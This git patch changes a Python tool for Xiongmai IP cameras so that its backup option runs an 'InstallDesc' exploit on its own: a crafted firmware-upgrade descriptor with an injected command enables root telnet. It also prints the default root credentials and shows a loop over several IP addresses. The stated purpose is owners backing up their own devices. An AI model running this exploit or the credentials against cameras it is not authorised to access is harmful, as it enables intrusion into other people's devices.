From f4aa6e6ac34cf25a1014c84ab1551255293511c6 Mon Sep 17 00:00:00 2001 From: Dmitry Ilyin <6576495+widgetii@users.noreply.github.com> Date: Mon, 4 May 2026 11:19:00 +0300 Subject: [PATCH] telnet_opener: make --backup self-contained for one-shot/agentic use Previously --backup required telnet to already be enabled, so a fresh camera needed two invocations: one to enable telnet (with reboot), then one to back up. Now --backup auto-enables telnet via the InstallDesc exploit when port 23 is closed, waits for the reboot, and proceeds. The script also exits 0 / non-0 so it composes cleanly in shell loops and automation: for ip in 10.0.0.10 10.0.0.11 10.0.0.12; do python3 telnet_opener.py "$ip" -b --nfs 10.0.0.1:/srv/ipctool done --- README.md | 26 +++++++++++-------- telnet_opener.py | 65 +++++++++++++++++++++++++++++++++++++++--------- 2 files changed, 68 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index d4cb086..143c49a 100644 --- a/README.md +++ b/README.md @@ -625,24 +625,28 @@ cam.upgrade("General_HZXM_IPC_HI3516CV300_50H20L_AE_S38_V4.03.R12.Nat.OnvifS.HIK Xiongmai cameras to run shell commands as root, with no firmware change. ```sh -# 1. Enable telnet on port 23 (camera reboots once). +# Make a full hardware backup with ipctool, written to your NFS share. +# Auto-enables telnet first if needed (camera reboots once on first run). +python3 telnet_opener.py 10.0.0.10 -b --nfs 10.0.0.1:/srv/ipctool + +# Manual: just enable telnet (camera reboots once). python3 telnet_opener.py 10.0.0.10 -# 2. Open a non-persistent shell on port 4321 (no reboot). +# Manual: open a non-persistent shell on port 4321 (no reboot). python3 telnet_opener.py 10.0.0.10 -t - -# 3. Make a full hardware backup with ipctool, written to your NFS share. -python3 telnet_opener.py 10.0.0.10 -b --nfs 10.0.0.1:/srv/ipctool ``` Default telnet credentials on Xiongmai stock firmware are `root` / `xmhdipc`. -`-b/--backup` requires that telnet is already enabled (step 1) and that you -export an NFS share containing the [`ipctool`][ipctool] ARM32 binary. The -script telnets in, mounts your share at `/utils`, runs -`ipctool backup /utils/backup-`, and unmounts. The resulting -`backup-` file lives on your NFS server — nothing is uploaded to a -third party. +`-b/--backup` is self-contained and exits 0 / non-0 for use in scripts and +agentic automation. It checks for telnet on port 23 — if closed, it runs +the InstallDesc exploit to enable it (this reboots the camera once) and +waits up to 3 minutes for the camera to come back. Then it telnets in, +mounts your NFS share at `/utils`, runs `ipctool backup +/utils/backup-`, and unmounts. The resulting `backup-` file +lives on your NFS server — nothing is uploaded to a third party. + +The NFS share must contain the [`ipctool`][ipctool] ARM32 binary. Minimal NFS server setup on the host machine: diff --git a/telnet_opener.py b/telnet_opener.py index 1ac3788..b95b4c6 100755 --- a/telnet_opener.py +++ b/telnet_opener.py @@ -125,12 +125,50 @@ def _read_until(sock, token, timeout): return bytes(buf) -def do_backup_via_telnet(host_ip, nfs_share, mount_point="/utils"): +def enable_telnet_via_dvrip(host_ip, user="admin", password=""): + cam = DVRIPCam(host_ip, user=user, password=password) + if not cam.login(): + print(f"DVRIP login failed for {host_ip}") + return False + upinfo = cam.get_upgrade_info() + sysinfo = cam.get_system_info() + if not isinstance(upinfo, dict) or "Hardware" not in upinfo: + print(f"Camera {host_ip} did not return upgrade info: {upinfo}") + cam.close() + return False + swver = extract_gen(sysinfo["SoftWareVersion"]) + + desc = { + "Hardware": upinfo["Hardware"], + "DevID": f"{swver}1001000000000000", + "CompatibleVersion": 2, + "Vendor": "General", + "CRC": "1ce6242100007636", + "UpgradeCommand": [cmd_armebenv(swver)], + } + add_flashes(desc, swver) + + zipfname = "upgrade.bin" + make_zip(zipfname, json.dumps(desc, indent=2)) + cam.upgrade(zipfname) + cam.close() + os.remove(zipfname) + + print(f"Camera {host_ip} rebooting, waiting for telnet...") + for _ in range(45): + time.sleep(4) + if check_port(host_ip, 23): + return True + return False + + +def do_backup_via_telnet(host_ip, nfs_share, mount_point="/utils", + user="admin", password=""): if not check_port(host_ip, 23): - print(f"Telnet (port 23) is not open on {host_ip}.") - print("Enable it first by running: " - f"python3 telnet_opener.py {host_ip}") - return + print(f"Telnet (port 23) closed on {host_ip}, enabling...") + if not enable_telnet_via_dvrip(host_ip, user, password): + print(f"Could not enable telnet on {host_ip}") + return False print(f"Connecting to {host_ip}:23 as root/xmhdipc") s = socket.create_connection((host_ip, 23), timeout=10) @@ -163,6 +201,7 @@ def do_backup_via_telnet(host_ip, nfs_share, mount_point="/utils"): s.close() print(f"Done. Backup file is at {nfs_share.rstrip('/')}/backup-{mac} " "on your NFS server.") + return True def downgrade_old_version(cam, buildtime, swver): @@ -209,9 +248,9 @@ def open_telnet(host_ip, port, **kwargs): if not nfs_share: print("--backup requires --nfs HOST:/exported/path " "(NFS share with ipctool, where the backup will be written)") - return - do_backup_via_telnet(host_ip, nfs_share) - return + return False + return do_backup_via_telnet(host_ip, nfs_share, + user=user, password=password) cam = DVRIPCam(host_ip, user=user, password=password) if not cam.login(): @@ -277,8 +316,9 @@ def main(): "-b", "--backup", action="store_true", - help="Telnet in (root/xmhdipc), mount NFS, run ipctool backup " - "(requires --nfs and telnet already enabled on the camera)", + help="Mount NFS, run ipctool backup via telnet. Enables telnet " + "first if it's not already on (camera will reboot once). " + "Requires --nfs.", ) parser.add_argument( "-t", @@ -292,8 +332,9 @@ def main(): "Must contain the ipctool binary; backup- is written here.", ) args = parser.parse_args() - open_telnet(args.hostname, TELNET_PORT, **vars(args)) + return open_telnet(args.hostname, TELNET_PORT, **vars(args)) if __name__ == "__main__": - main() + import sys + sys.exit(0 if main() is not False else 1)